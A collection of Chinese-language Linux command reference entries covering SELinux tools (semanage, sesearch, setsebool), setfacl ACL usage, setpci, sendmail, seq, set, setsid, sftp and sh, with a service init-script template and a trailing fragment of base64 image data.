/srv/([^/]*/)?www(/.*)?     all files   system_u:object_r:httpd_sys_content_t:s0
/srv/([^/]*/)?rsync(/.*)?   all files   system_u:object_r:public_content_t:s0
/srv/gallery2(/.*)?         all files   system_u:object_r:httpd_sys_content_t:s0
/srv                        directory   system_u:object_r:var_t:s0   //看这里!
```

上面则是默认的`/srv`底下的安全性本文资料,不过,并没有指定到`/srv/samba`。

```
semanage fcontext -a -t public_content_t "/srv/samba(/.*)?"
semanage fcontext -l | grep '/srv/samba'
/srv/samba(/.*)?            all files   system_u:object_r:public_content_t:s0
```

```
cat /etc/selinux/targeted/contexts/files/file_contexts.local
# This file is auto-generated by libsemanage
# Please use the semanage command to make changes
/srv/samba(/.*)?    system_u:object_r:public_content_t:s0  #写入这个档案

```

```
restorecon -Rv /srv/samba* #尝试恢复默认值
ll -Zd /srv/samba
drwxr-xr-x  root root system_u:object_r:public_content_t /srv/samba/  #有默认值,以后用restorecon命令来修改比较简单!
```

semanage命令的功能很多,这里主要用到的仅有fcontext这个选项的用法而已。如上所示,你可以使用semanage来查询所有的目录默认值,也能够使用它来增加默认值的设置!


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
sendmail
===

著名电子邮件服务器

</div>

!! 补充说明

:<div>


"sendmail命令" 是一款著名的电子邮件传送代理程序,也就是平常说的电子邮件服务器,它基于标准的简单邮件传输协议(SMTP)。

</div>

!! 语法  

:<div>


```
sendmail(选项)
```

</div>

!! 选项  

:<div>


```
-bd:以守护进程方式运行指令;
-bD:以前台运行方式运行;
-bi:初始化别名数据库;
-bm:以常规发送电子邮件;
-bp:显示邮件的发送队列;
-C:指定配置文件;
-D:将调试的输出信息保存到日志文件,而不显示在标准输出设备上;
-F:指定邮件发送者全名;
-n:禁止使用邮件别名功能;
-f:指定发件人的名字;
-q:设置处理邮件队列中邮件的时间间隔。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* exp<pre>

```bash
seq -s + 1 100 | bc
```
</pre>

* help

** NAME <pre>
       seq - print a sequence of numbers

</pre>
** SYNOPSIS <pre>
       seq [OPTION]... LAST
       seq [OPTION]... FIRST LAST
       seq [OPTION]... FIRST INCREMENT LAST

</pre>
** DESCRIPTION 

::<div>

```
       -f, --format=FORMAT
              use printf style floating-point FORMAT

       -s, --separator=STRING
              use STRING to separate numbers (default: \n)

       -w, --equal-width
              equalize width by padding with leading zeroes

       --help display this help and exit

       --version
              output version information and exit

       01. 缺省从1开始
       02. 缺省步长为1
       03. current number + INCREMENT > end 结束.
```
       FIRST,  INCREMENT, and LAST are interpreted as floating point values.  INCREMENT is usually positive if FIRST is smaller than
       LAST, and INCREMENT is usually negative if FIRST is greater than LAST.  FORMAT must be suitable for printing one argument  of
       type  'double';  it defaults to %.PRECf if FIRST, INCREMENT, and LAST are all fixed point decimal numbers with maximum preci‐
       sion PREC, and to %g otherwise.

</div>

** SEE ALSO <div>

```bash
info coreutils 'seq invocation'
```
</div>
''service''命令是Redhat Linux兼容的发行版中用来控制系统服务的实用工具,它以启动、停止、重新启动和关闭系统服务,还可以显示所有系统服务的当前状态。


!选项

```
-h:显示帮助信息;
--status-all:显示所服务的状态。
```
!! 模板
:<div>

```bash
#!/bin/bash
#
# 
#
#
#   chkconfig: 2345 99 01
#   description: 
### BEGIN INIT INFO
#   Provides: 
### END INIT INFO

# Source function library.
if [ -f /etc/init.d/functions ]; then
  . /etc/init.d/functions
fi

# 自定义项
desc="xxxxx"
PRG=""      # program path
CONF=""     # config  path


if [ ! -f $PRG ]; then
  echo "file $PRG does not exist!"
  exit 2
fi

if [ ! -f $CONF ]; then
  echo "file $CONF does not exist!"
  exit 2
fi

CMD="$PRG $CONF"
RETVAL=0

function start() {
 	echo -n "Starting ${desc} service: "
	$CMD &
	RETVAL=$?
	echo
	return $RETVAL
}
function stop() {
    $CMD stop
	RETVAL=$?
	return $RETVAL
}

function status() {
    $CMD status
}
function restart() {
        $CMD restart &
}

case "$1" in
  start)
  	start
	;;
  stop)
  	stop
	;;
  status)
  	status
	;;
  restart|reload)
  	restart
	;;
  condrestart)
  	restart
	;;
  *)
	echo "Usage: $0 {start|stop|status|restart|condrestart}"
	exit 1
esac

exit $?
```
</div>
!!简介
:<div>
sesearch
===

查询SELinux策略的规则详情

</div>

!! 补充说明

:<div>


使用seinfo命令可以查询SELinux的策略提供多少相关规则,如果查到的相关类型或者布尔值,想要知道详细规则时,使用 "sesearch命令" 查询。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。

</div>

!! 语法  

:<div>


```
sesearch [-a] [-s 主体类型] [-t 目标类型] [-b 布尔值]
```

</div>

!! 选项  

:<div>


```
-a:列出该类型或布尔值的所有相关信息
-t:后面还要接类型,例如 -t httpd_t
-b:后面还要接布尔值的规则,例如 -b httpd_enable_ftp_server
```

</div>

!! 实例  

:<div>


找出目标文件资源类型为`httpd_sys_content_t`的有关信息:

```
sesearch -a -t httpd_sys_content_t
```

找出主体进程为`httpd_t`且目标文件类型为httpd相关的所有信息:

```
sesearch -s httpd_t -t httpd_* -a
```

查看布尔值`httpd_enable_homedirs`设置了多少规则

```
sesearch -b httpd_enable_homedirs -a
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!01. 简介
:<div>

```
set命令作用主要是显示系统中已经存在的shell变量,以及设置shell变量的新变量值。
使用set更改shell特性时,符号"+"和"-"的作用分别是打开和关闭指定的模式。
set命令不能够定义新的shell变量。
如果要定义新的变量,可以使用declare命令以变量名=值的格式进行定义即可。
```
</div>


!02. 选项
:<div>

```bash
-a:标示已修改的变量,以供输出至环境变量。
-b:使被中止的后台程序立刻回报执行状态。
-C:转向所产生的文件无法覆盖已存在的文件。
-d:Shell预设会用杂凑表记忆使用过的指令,以加速指令的执行。使用-d参数可取消。
-e:若指令传回值不等于0,则立即退出shell。
-f:取消使用通配符。
-h:自动记录函数的所在位置。
-H Shell:可利用"!"加<指令编号>的方式来执行history中记录的指令。
-k:指令所给的参数都会被视为此指令的环境变量。
-l:记录for循环的变量名称。
-m:使用监视模式。
-n:只读取指令,而不实际执行。
-p:启动优先顺序模式。
-P:启动-P参数后,执行指令时,会以实际的文件或目录来取代符号连接。
-t:执行完随后的指令,即退出shell。
-u:当执行时使用到未定义过的变量,则显示错误信息。
-v:显示shell所读取的输入值。
-x:执行指令后,会先显示该指令及所下的参数。
```
</div>
!!简介
:<div>
setfacl
===

设置文件访问控制列表

</div>

!! 补充说明

:<div>


"setfacl命令" 是用来在命令行里设置ACL(访问控制列表)。在命令行里,一系列的命令跟随以一系列的文件名。

</div>

!! 选项  

:<div>


```
-b,--remove-all:删除所有扩展的acl规则,基本的acl规则(所有者,群组,其他)将被保留。
-k,--remove-default:删除缺省的acl规则。如果没有缺省规则,将不提示。
-n,--no-mask:不要重新计算有效权限。setfacl默认会重新计算ACL mask,除非mask被明确的制定。
--mask:重新计算有效权限,即使ACL mask被明确指定。
-d,--default:设定默认的acl规则。
--restore=file:从文件恢复备份的acl规则(这些文件可由getfacl -R产生)。通过这种机制可以恢复整个目录树的acl规则。此参数不能和除--test以外的任何参数一同执行。
--test:测试模式,不会改变任何文件的acl规则,操作后的acl规格将被列出。
-R,--recursive:递归的对所有文件及目录进行操作。
-L,--logical:跟踪符号链接,默认情况下只跟踪符号链接文件,跳过符号链接目录。
-P,--physical:跳过所有符号链接,包括符号链接文件。
--version:输出setfacl的版本号并退出。
--help:输出帮助信息。
--:标识命令行参数结束,其后的所有参数都将被认为是文件名
-:如果文件名是-,则setfacl将从标准输入读取文件名。

```

*   选项`-m`和`-x`后边跟以acl规则。多条acl规则以逗号(,)隔开。选项`-M`和`-X`用来从文件或标准输入读取acl规则。
*   选项`--set`和`--set-file`用来设置文件或目录的acl规则,先前的设定将被覆盖。
*   选项`-m(--modify)`和`-M(--modify-file)`选项修改文件或目录的acl规则。
*   选项`-x(--remove)`和`-X(--remove-file)`选项删除acl规则。

当使用-M,-X选项从文件中读取规则时,setfacl接受getfacl命令输出的格式。每行至少一条规则,以#开始的行将被视为注释。

当在不支持ACLs的文件系统上使用setfacl命令时,setfacl将修改文件权限位。如果acl规则并不完全匹配文件权限位,setfacl将会修改文件权限位使其尽可能的反应acl规则,并会向standard error发送错误消息,以大于0的状态返回。

 "权限" 

文件的所有者以及有`CAP_FOWNER`的用户进程可以设置一个文件的acl。(在目前的linux系统上,root用户是唯一有`CAP_FOWNER`能力的用户)

 "ACL规则" 

setfacl命令可以识别以下的规则格式:

```
[d[efault]:] [u[ser]:]uid [:perms]  指定用户的权限,文件所有者的权限(如果uid没有指定)。
[d[efault]:] g[roup]:gid [:perms]   指定群组的权限,文件所有群组的权限(如果gid未指定)
[d[efault]:] m[ask][:] [:perms]     有效权限掩码
[d[efault]:] o[ther] [:perms]       其他的权限
```

恰当的acl规则被用在修改和设定的操作中,对于uid和gid,可以指定一个数字,也可指定一个名字。perms域是一个代表各种权限的字母的组合:读`-r`写`-w`执行`-x`,执行只适合目录和一些可执行的文件。pers域也可设置为八进制格式。

 "自动创建的规则" 

最初的,文件目录仅包含3个基本的acl规则。为了使规则能正常执行,需要满足以下规则。

*   3个基本规则不能被删除。
*   任何一条包含指定的用户名或群组名的规则必须包含有效的权限组合。
*   任何一条包含缺省规则的规则在使用时,缺省规则必须存在。

 "ACL的名词定义" 

先来看看在ACL里面每一个名词的定义,这些名词我大多从man page上摘下来虽然有些枯燥,但是对于理解下面的内容还是很有帮助的。

ACL是由一系列的Access Entry所组成的,每一条Access Entry定义了特定的类别可以对文件拥有的操作权限。Access Entry有三个组成部分:Entry tag type, qualifier (optional), permission。

我们先来看一下最重要的Entry tag type,它有以下几个类型:

```
ACL_USER_OBJ:相当于Linux里file_owner的permission
ACL_USER:定义了额外的用户可以对此文件拥有的permission
ACL_GROUP_OBJ:相当于Linux里group的permission
ACL_GROUP:定义了额外的组可以对此文件拥有的permission
ACL_MASK:定义了ACL_USER, ACL_GROUP_OBJ和ACL_GROUP的最大权限 (这个我下面还会专门讨论)
ACL_OTHER:相当于Linux里other的permission
```

让我们来据个例子说明一下,下面我们就用getfacl命令来查看一个定义好了的ACL文件:

```
[root@localhost ~]# getfacl ./test.txt
# file: test.txt
# owner: root
# group: admin
user::rw-
user:john:rw-
group::rw-
group:dev:r--
mask::rw- other::r--
```

前面三个以#开头的定义了文件名,file owner和group。这些信息没有太大的作用,接下来我们可以用`--omit-header`来省略掉。

```
user::rw-       定义了ACL_USER_OBJ, 说明file owner拥有read and write permission
user:john:rw-   定义了ACL_USER,这样用户john就拥有了对文件的读写权限,实现了我们一开始要达到的目的
group::rw-      定义了ACL_GROUP_OBJ,说明文件的group拥有read and write permission
group:dev:r--   定义了ACL_GROUP,使得dev组拥有了对文件的read permission
mask::rw-       定义了ACL_MASK的权限为read and write
other::r--      定义了ACL_OTHER的权限为read
```

从这里我们就可以看出ACL提供了我们可以定义特定用户和用户组的功能,那么接下来我们就来看一下如何设置一个文件的ACL:

 "如何设置ACL文件" 

首先我们还是要讲一下设置ACL文件的格式,从上面的例子中我们可以看到每一个Access Entry都是由三个被:号分隔开的字段所组成,第一个就是Entry tag type。

```
user   对应了ACL_USER_OBJ和ACL_USER
group  对应了ACL_GROUP_OBJ和ACL_GROUP
mask   对应了ACL_MASK
other  对应了ACL_OTHER
```

第二个字段称之为qualifier,也就是上面例子中的john和dev组,它定义了特定用户和拥护组对于文件的权限。这里我们也可以发现只有user和group才有qualifier,其他的都为空。第三个字段就是我们熟悉的permission了。它和Linux的permission一样定义,这里就不多讲了。

下面我们就来看一下怎么设置test.txt这个文件的ACL让它来达到我们上面的要求。

一开始文件没有ACL的额外属性:

```
[root@localhost ~]# ls -l
-rw-rw-r-- 1 root admin 0 Jul 3 22:06 test.txt

[root@localhost ~]# getfacl --omit-header ./test.txt
user::rw- group::rw- other::r--
```

我们先让用户john拥有对test.txt文件的读写权限:

```
[root@localhost ~]# setfacl -m user:john:rw- ./test.txt
[root@localhost ~]# getfacl --omit-header ./test.txt
user::rw-
user:john:rw-
group::rw-
mask::rw-
other::r--
```

这时我们就可以看到john用户在ACL里面已经拥有了对文件的读写权。这个时候如果我们查看一下linux的permission我们还会发现一个不一样的地方。

```
[root@localhost ~]# ls -l ./test.txt
-rw-rw-r--+ 1 root admin 0 Jul 3 22:06 ./test.txt
```

在文件permission的最后多了一个+号,当任何一个文件拥有了ACL_USER或者ACL_GROUP的值以后我们就可以称它为ACL文件,这个+号就是用来提示我们的。我们还可以发现当一个文件拥有了`ACL_USER`或者`ACL_GROUP`的值时`ACL_MASK`同时也会被定义。

接下来我们来设置dev组拥有read permission:

```
[root@localhost ~]# setfacl -m group:dev:r-- ./test.txt
[root@localhost ~]# getfacl --omit-header ./test.txt
user::rw-
user:john:rw-
group::rw-
group:dev:r--
mask::rw-
other::r--
```

到这里就完成了我们上面讲到的要求,是不是很简单呢。

 "ACL_MASK和Effective permission" 

这里需要重点讲一下`ACL_MASK`,因为这是掌握ACL的另一个关键,在Linux file permission里面大家都知道比如对于`rw-rw-r--`来说, 当中的那个`rw-`是指文件组的permission. 但是在ACL里面这种情况只是在`ACL_MASK`不存在的情况下成立。如果文件有ACL_MASK值,那么当中那个`rw-`代表的就是mask值而不再是group permission了。

让我们来看下面这个例子:

```
[root@localhost ~]# ls -l
-rwxrw-r-- 1 root admin 0 Jul 3 23:10 test.sh
```

这里说明test.sh文件只有file owner: root拥有read, write, execute/search permission。admin组只有read and write permission,现在我们想让用户john也对test.sh具有和root一样的permission。

```
[root@localhost ~]# setfacl -m user:john:rwx ./test.sh
[root@localhost ~]# getfacl --omit-header ./test.sh
user::rwx user:john:rwx
group::rw-
mask::rwx
other::r--
```

这里我们看到john已经拥有了rwx的permission,mask值也被设定为rwx,那是因为它规定了`ACL_USER`,`ACL_GROUP`和`ACL_GROUP_OBJ`的最大值,现在我们再来看test.sh的Linux permission,它已经变成了:

```
[root@localhost ~]# ls -l
-rwxrwxr--+ 1 root admin 0 Jul 3 23:10 test.sh
```

那么如果现在admin组的用户想要执行test.sh的程序会发生什么情况呢?它会被permission deny。原因在于实际上admin组的用户只有read and write permission,这里当中显示的rwx是`ACL_MASK`的值而不是group的permission。

所以从这里我们就可以知道,如果一个文件后面有+标记,我们都需要用getfacl来确认它的permission,以免发生混淆。

下面我们再来继续看一个例子,假如现在我们设置test.sh的mask为read only,那么admin组的用户还会有write permission吗?

```
[root@localhost ~]# setfacl -m mask::r-- ./test.sh
[root@localhost ~]# getfacl --omit-header ./test.sh
user::rwx
user:john:rwx   #effective:r--
group::rw-      #effective:r--
mask::r--
other::r--
```

这时候我们可以看到ACL_USER和ACL_GROUP_OBJ旁边多了个#effective:r--,这是什么意思呢?让我们再来回顾一下`ACL_MASK`的定义。它规定了`ACL_USER`,`ACL_GROUP_OBJ`和`ACL_GROUP`的最大权限。那么在我们这个例子中他们的最大权限也就是read only。虽然我们这里给`ACL_USER`和`ACL_GROUP_OBJ`设置了其他权限,但是他们真正有效果的只有read权限。

这时我们再来查看test.sh的Linux file permission时它的group permission也会显示其mask的值(i.e. r--)

```
[root@localhost ~]# ls -l
-rwxr--r--+ 1 root admin 0 Jul 3 23:10 test.sh
```

 "Default ACL" 

上面我们所有讲的都是Access ACL,也就是对文件而言。下面我简单讲一下Default ACL。Default ACL是指对于一个目录进行Default ACL设置,并且在此目录下建立的文件都将继承此目录的ACL。

同样我们来做一个试验说明,比如现在root用户建立了一个dir目录:

```
[root@localhost ~]# mkdir dir
```

他希望所有在此目录下建立的文件都可以被john用户所访问,那么我们就应该对dir目录设置Default ACL。

```
[root@localhost ~]# setfacl -d -m user:john:rw ./dir
[root@localhost ~]# getfacl --omit-header ./dir
user::rwx
group::rwx
other::r-x
default:user::rwx
default:user:john:rwx
default:group::rwx
default:mask::rwx
default: other::r-x
```

这里我们可以看到ACL定义了default选项,john用户拥有了default的read, write, excute/search permission。所有没有定义的default都将从file permission里copy过来,现在root用户在dir下建立一个test.txt文件。

```
[root@localhost ~]# touch ./dir/test.txt
[root@localhost ~]# ls -l ./dir/test.txt
-rw-rw-r--+ 1 root root 0 Jul 3 23:46 ./dir/test.txt

[root@localhost ~]# getfacl --omit-header ./dir/test.txt
user::rw-
user:john:rw-
group::rwx #effective:rw-
mask::rw-
other::r--
```

这里我们看到在dir下建立的文件john用户自动就有了read and write permission,

 "ACL相关命令" 

前面的例子中我们都注意到了getfacl命令是用来读取文件的ACL,setfacl是用来设定文件的Acess ACL。这里还有一个chacl是用来改变文件和目录的Access ACL and Default ACL,它的具体参数大家可以去看man page。我只想提及一下`chacl -B`。它可以彻底删除文件或者目录的ACL属性(包括Default ACL),比如你即使用了`setfacl -x`删除了所有文件的ACL属性,那个+号还是会出现在文件的末尾,所以正确的删除方法应该是用`chacl -B`用cp来复制文件的时候我们现在可以加上`-p`选项。这样在拷贝文件的时候也将拷贝文件的ACL属性,对于不能拷贝的ACL属性将给出警告。

mv命令将会默认地移动文件的ACL属性,同样如果操作不允许的情况下会给出警告。

 "需要注意的几点" 

如果你的文件系统不支持ACL的话,你也许需要重新mount你的file system:

```
mount -o remount, acl [mount point]
```

如果用chmod命令改变Linux file permission的时候相应的ACL值也会改变,反之改变ACL的值,相应的file permission也会改变。


</div>
!!简介
:<div>
setpci
===

查询和配置PCI设备的使用工具

</div>

!! 补充说明

:<div>


"setpci命令" 是一个查询和配置PCI设备的使用工具。

</div>

!! 语法  

:<div>


```
setpci(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-v:显示指令执行的细节信息;
-f:当没有任何操作需要完成时,不显示任何信息;
-D:测试模式,并不真正将配置信息写入寄存器;
-d:仅显示给定厂商和设备的信息;
-s:仅显示指定总线、插槽上的设备或设备上的功能块信息。
```

</div>

!! 参数  

:<div>


*   PCI设备:指定要配置的PCI设备;
*   操作:指定要完成的配置操作。

</div>

!! 实例  

:<div>


Linux下调节笔记本屏幕亮度方法:

首先进入终端输入lspci命令,列出各种设备的地址:

```
lspci
00:00.0 host bridge: Intel Corporation Mobile 945GM/PM/GMS, 943/940GML and 945GT Express Memory Controller Hub (rev 03)
00:02.0 VGA compatible controller: Intel Corporation Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller (rev 03)
00:02.1 Display controller: Intel Corporation Mobile 945GM/GMS/GME, 943/940GML Express Integrated Graphics Controller (rev 03)
00:1b.0 Audio device: Intel Corporation N10/ICH 7 Family High Definition Audio Controller (rev 02)
00:1c.0 PCI bridge: Intel Corporation N10/ICH 7 Family PCI Express Port 1 (rev 02)
00:1c.1 PCI bridge: Intel Corporation N10/ICH 7 Family PCI Express Port 2 (rev 02)
......
```

发现00:02.0是VGA设备,于是我们修改它的属性:

```
sudo setpci -s 00:02.0 F4.B=FF
```

解释一下:

*    "setpci"  是修改设备属性的命令。
*    "-s"  表示接下来输入的是设备的地址。
*    "00:02.0"  VGA设备地址(<总线>:<接口>.<功能>)。
*    "F4"  要修改的属性的地址,这里应该表示“亮度”。
*    ".B"  修改的长度(B应该是字节(Byte),还有w(应该是Word,两个字节)、L(应该是Long,4个字节))。
*    "=FF"  要修改的值(可以改)。

我这里00是最暗,FF是最亮,不同的电脑可能不一样。比如说我嫌FF太闪眼了,我就可以:

```
sudo setpci -s 00:02.0 F4.B=CC
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
setsebool
===

修改SElinux策略内各项规则的布尔值

</div>

!! 补充说明

:<div>


"setsebool命令" 是用来修改SElinux策略内各项规则的布尔值。setsebool命令和getsebool命令是SELinux修改和查询布尔值的一套工具组。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。

</div>

!! 语法  

:<div>


```
setsebool [-P] 布尔值=[0|1]
```

</div>

!! 选项  

:<div>


```
-P:直接将设置值写入配置文件,该设置数据将来会生效的。
```

</div>

!! 实例  

:<div>


允许vsvtp匿名用户写入权限:

```
setsebool -P allow_ftpd_anon_write=1
```

如果你希望你的ftp用户可以访问自己的家目录的话,需要开启:

```
setsebool -P ftp_home_dir 1
```

如果你希望将vsftpd以daemon的方式运行的话,需要开启:

```
setsebool -P ftpd_is_daemon 1
```

你可以让SElinux停止保护vsftpd的daemon方式动行:

```
setsebool -P ftpd_disable_trans 1 
```

HTTP被设置允许cgi的设置:

```
setsebool -P httpd_enable_cgi 1
```

允许用户HHTP访问其家目录,该设定限仅于用户的家目录主页:

```
setsebool -P httpd_enable_homedirs 1
chcon -R -t httpd_sys_content_t ~user/public_html
```

允许httpd访问终端:

```
setsebool -P httpd_tty_comm 1
```

关闭Selinux的关于httpd进程守护的保护:

```
setsebool -P httpd_disable_trans 1
service httpd restart
```

关于named、master更新selinux设定:

```
setsebool -P named_write_master_zones 1
```

关闭named的进程守护保护:

```
setsebool -P named_disable_trans 1
service named restart
```

Selinux将本机的NFS共享设置成只读:

```
setsebool -P nfs_export_all_ro 1
```

SElinux将本机的NFS共享设置成可读可写:

```
setsebool -P nfs_export_all_rw 1
```

如果你想要将远程NFS的家目录共享到本机,需要开启:

```
setsebool -P use_nfs_home_dirs 1
```

如果samba服务器共享目录给多个域,则需要:

```
setsebool -P allow_smbd_anon_write=1
```

samba服务器要共享家目录时:

```
setsebool -P samba_enable_home_dirs 1
```

如果你需在本机上使用远程samba服务器的家目录:

```
setsebool -P use_samba_home_dirs 1
```

关闭selinux关于samba的进程守护的保护:

```
setsebool -P smbd_disable_trans 1
service smb restart
```

允许rsync其他用户写入时:

```
setsebool -P allow_rsync_anon_write=1
```

停止rsync的进程保护

```
setsebool -P rsync_disable_trans 1
```

允许系统使用kerberos:

```
setsebool -P allow_kerberos 1
```

系统工作在nis环境时:

```
setsebool -P allow_ypbind 1
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
;setsid
    :在新session执行命令(使进程不属于接受 HUP 信号的终端的子进程,那么就不会受到 HUP 信号的影响)

```

Usage:
 setsid [options] <program> [arguments ...]

Options:
 -c, --ctty     set the controlling terminal to the current one
 -h, --help     display this help and exit
 -V, --version  output version information and exit

For more details see setsid(1).
```

```
[root@vms01 ~]# pstree -ap
systemd,1 --switched-root --system --deserialize 22
  ├─NetworkManager,876 --no-daemon
  │   ├─{NetworkManager},884
  │   └─{NetworkManager},889
  ├─agetty,1218 --noclear tty1 linux
  ├─atd,1220 -f
  ├─auditd,812
  │   └─{auditd},813
  ├─bash,10304 t.sh
  │   └─sleep,10305 1000
  ├─bash,10311 t.sh
  │   └─sleep,10312 1000
  ├─bash,10320 t.sh
  │   └─sleep,10321 1000
  ├─bash,10357 t.sh
  │   └─sleep,10358 1000
  ├─bluetoothd,850
  ├─chronyd,838
  ├─crond,1217 -n
  ├─dbus-daemon,836 --system --address=systemd: --nofork --nopidfile --systemd-activation
  │   └─{dbus-daemon},843
  ├─firewalld,875 -Es /usr/sbin/firewalld --nofork --nopid
  │   └─{firewalld},1013
  ├─lvmetad,650 -f
  ├─master,1367 -w
  │   ├─pickup,10091 -l -t unix -u
  │   └─qmgr,1378 -l -t unix -u
  ├─polkitd,844 --no-debug
  │   ├─{polkitd},862
  │   ├─{polkitd},867
  │   ├─{polkitd},869
  │   ├─{polkitd},872
  │   └─{polkitd},873
  ├─rsyslogd,1206 -n
  │   ├─{rsyslogd},1229
  │   └─{rsyslogd},1231
  ├─smartd,845 -n -q never
  ├─sshd,1204 -D
  │   ├─sshd,6749    
  │   │   └─bash,6753
  │   └─sshd,9912
  │       ├─bash,9916
  │       │   └─pstree,10359 -ap
  │       └─bash,10327
  ├─systemd-journal,627
  ├─systemd-logind,853
  ├─systemd-udevd,663
  └─tuned,1205 -Es /usr/sbin/tuned -l -P
      ├─{tuned},1488
      ├─{tuned},1489
      ├─{tuned},1490
      └─{tuned},1504
```
!!简介
:<div>
sftp
===

交互式的文件传输程序

</div>

!! 补充说明

:<div>


"sftp命令" 是一款交互式的文件传输程序,命令的运行和使用方式与ftp命令相似,但是,sftp命令对传输的所有信息使用ssh加密,它还支持公钥认证和压缩等功能。

</div>

!! 语法  

:<div>


```
sftp(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-B:指定传输文件时缓冲区的大小;
-l:使用ssh协议版本1;
-b:指定批处理文件;
-C:使用压缩;
-o:指定ssh选项;
-F:指定ssh配置文件;
-R:指定一次可以容忍多少请求数;
-v:升高日志等级。
```

</div>

!! 参数  

:<div>


目标主机:指定sftp服务器ip地址或者主机名。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
sftp-server
===

sftp协议的服务器端程序

</div>

!! 补充说明

:<div>


"sftp-server命令" 是一个“sftp”协议的服务器端程序,它使用加密的方式进行文件传输。

</div>

!! 语法  

:<div>


```
sftp-server
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
sh
===

shell命令解释器

</div>

!! 补充说明

:<div>


"sh命令" 是shell命令语言解释器,执行命令从标准输入读取或从一个文件中读取。通过用户输入命令,和内核进行沟通!Bourne Again Shell (即bash)是自由软件基金会(GNU)开发的一个Shell,它是Linux系统中一个默认的Shell。Bash不但与Bourne Shell兼容,还继承了C Shell、Korn Shell等优点。

</div>

!! 语法  

:<div>


```
bash [options] [file]
```

</div>

!! 选项  

:<div>


```
-c string:命令从-c后的字符串读取。
-i:实现脚本交互。
-n:进行shell脚本的语法检查。
-x:实现shell脚本逐条语句的跟踪。
```

</div>

!! 实例  

:<div>


使用-x选项跟踪脚本调试shell脚本,能打印出所执行的每一行命令以及当前状态:

```
[root@AY1307311912260196fcZ satools]# sh -x check_ssh_login.sh
+ DEFINE=30
+ cat /var/log/secure
+ awk '/Failed/ {++ip[$(NF-3)]} END {for (i in ip) print i"="ip[i]}'
++ cat /root/satools/black.txt
+ for i in '`cat /root/satools/black.txt`'
++ echo 121.42.0.16=1427
++ awk -F= '{print $1}'
+ IP=121.42.0.16
++ echo 121.42.0.16=1427
++ awk -F= '{print $2}'
+ NUM=1427
+ '[' 1427 -gt 30 ']'
+ grep 121.42.0.16 /etc/hosts.deny
+ '[' 1 -gt 0 ']'
+ echo sshd:121.42.0.16
+ echo vsftpd:121.42.0.16
+ for i in '`cat /root/satools/black.txt`'
++ echo 121.42.0.72=276
++ awk -F= '{print $1}'
+ IP=121.42.0.72
++ awk -F= '{print $2}'
++ echo 121.42.0.72=276
+ NUM=276
+ '[' 276 -gt 30 ']'
+ grep 121.42.0.72 /etc/hosts.deny
+ '[' 1 -gt 0 ']'
+ echo sshd:121.42.0.72
+ echo vsftpd:121.42.0.72
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
iVBORw0KGgoAAAANSUhEUgAAAncAAACDCAYAAADvVj1EAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAE5tSURBVHhe7Z2xcuO40oXnHfwGTjdx7NILuGpTv4JLwYaT+Qk2cJXnARxurEzxxModOXFyE+eK+R8A3SDQaoJNj6cJza8zde6KAAmSDaj5XZCivw1nprfn2+Hbt2/Jtw/Dnsp/VW/7h+E2t/s8vFH5Rcv1u/rIT2/D8+25HruHEJ+HBd8RfLemv1N/eKz/P5/7RRddtJrODu4uusim/fDAgCn94H0p7elYLrrooosu+tN1gbuLLrrooosuuuiiP0i/BHfqTMRK7kk/cTy9uCd9+4m+6sQ96SeOpxf3pG/ffnbjnvQTx9OLe9K3n+irTtyTfuJ4evFFfqqyeX5WyvjMmQSsNT2rt2d6pu52eF74QN3SuGiQtZZn5RgXDbLW8qw8xwuOpxfPynO8AB568axc8wsulJ14Vq75BX3ViWflml/QV514Vo5xOSt9Ii4ncHe7IKLfrjfD/f199t3mZriKB5B8hfq7XHedy62+urlLbRfbTrVpU3iA+XODZklcfoq4bBGXHY6RgWuH+m2uu87lVu+KuKSyq+HprtjfzVVe1yafuHx7EePlEeMFQMHAdYX63LeP6NuizuKrJ4oLb3uyv+u8P5ucxos4zi3issMxMnDtUJ/HC86hhDGLd0VcYlljfzY5jZfrx+o47zZPyC+4eJKvUD/mgpdcbvXVzTa1rWwr62zyyi91XLaIyw7HyMC1Q/2YX15yudW74txjmdjf/f12eLpK69rklV/EeHnEeAFQMHBdoX7ML+jXos7iqyeKS7nt7mnYbMd9bl5SuU1e+UWMF8Rlh2Nk4Nqhfswv6POizuJdEZdYJvZX1tnkE5fh8KM6xu8/dsP/qCrof6j/nusOVGrX/3bfU9vFtocfVKbsb17L4vJrcAd4yCbougNYxOWrm3GZPm+ui/XnXAISQ1yjTZucvkw4nmwCuQxcOO68TJ8fcQ7VNi2LuFR1ZdtUZpNT8gU8ZBPI3T2hL8Pyjvo2LNPnzUux/pxLYFHAMIBjqOP92eQ0XnA82QRyWxxnXEYs8jJ9fkRcqm1aFnHR6sv92eQ0XgAP2QRydze7tHz1NC7T5811sf6cS2CRcKfU2eSVX3ABZRPIbRGHuIxY5GX6/Ii4VNu0LM69LMv7KGyTV35B37EJ5O6eMD7CMiAsL9NnBjGTS2DJcPcybMLytobIYJu88gv6ik0gt0Uc4jJikZfp8yPiUm3TsojL6Tovw2NRZ5NPXCoRyH3fEW79bzcu0+dFfFeCI29IZWWbeX8mLYvL74M7gpAEX9fpS1DMtLWd1t9ci+0abdrklXxx0WRLuKNzSEB3nQa+hLRJp/UfERd1u3OGO4KQBHTUtwqk6abx8tLYroRHLNvklXzRV2wJdxSXBHTU7xqkqabxgrhMbneucEfAkYCOLrIS0iad1t9ca9vpdTZ55RdcNNkS7iguCejowsqQNuu0/iPOvdru